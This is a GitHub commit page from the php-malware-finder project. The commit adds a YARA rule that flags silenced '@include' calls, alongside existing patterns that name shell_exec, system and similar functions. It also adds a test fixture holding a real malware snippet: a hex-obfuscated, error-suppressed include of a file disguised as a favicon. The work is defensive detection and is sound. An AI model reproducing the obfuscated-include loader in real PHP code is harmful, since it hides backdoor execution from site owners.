Skip to content

Commit d9b7742

Browse files
author
jvoisin
committedJun 26, 2018
Detect things like '@include'
This should close #71
1 parent ff3087f commit d9b7742

File tree

3 files changed

+6
-0
lines changed

3 files changed

+6
-0
lines changed
 

‎php-malware-finder/php.yar

+1
Original file line numberDiff line numberDiff line change
@@ -102,6 +102,7 @@ rule DodgyPhp
102102
$double_var = /\${\s*\${/
103103
$extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/
104104
$reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase
105+
$silenced_include =/@\s*include\s*/ nocase
105106
106107
condition:
107108
(any of them) and not IsWhitelisted
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<?php
2+
/*8a68d*/
3+
@include "\x2fh\x6fm\x65/\x77e\x62p\x6ce\x78x\x33/\x70u\x62l\x69c\x5fh\x74m\x6c/\x68i\x73-\x68e\x6d.\x6fr\x67/\x5f_\x4dA\x43O\x53X\x2fm\x6fd\x75l\x65s\x2fn\x6fd\x65/\x66a\x76i\x63o\x6e_\x31a\x33f\x384\x2ei\x63o";
4+
/*8a68d*/

‎php-malware-finder/tests.sh

+1
Original file line numberDiff line numberDiff line change
@@ -89,6 +89,7 @@ run_test real/exceptions.php '$eval_comment: eval/\*k\*/('
8989
run_test real/nano.php '$nano: $x\[f\]('
9090
run_test real/ninja.php '$nano: $x\[0\]('
9191
run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders'
92+
run_test real/include.php ':$silenced_include: @include'
9293

9394
run_test undetected/smart.php '0x6:$extract:'
9495

0 commit comments

Comments
 (0)
Failed to load comments.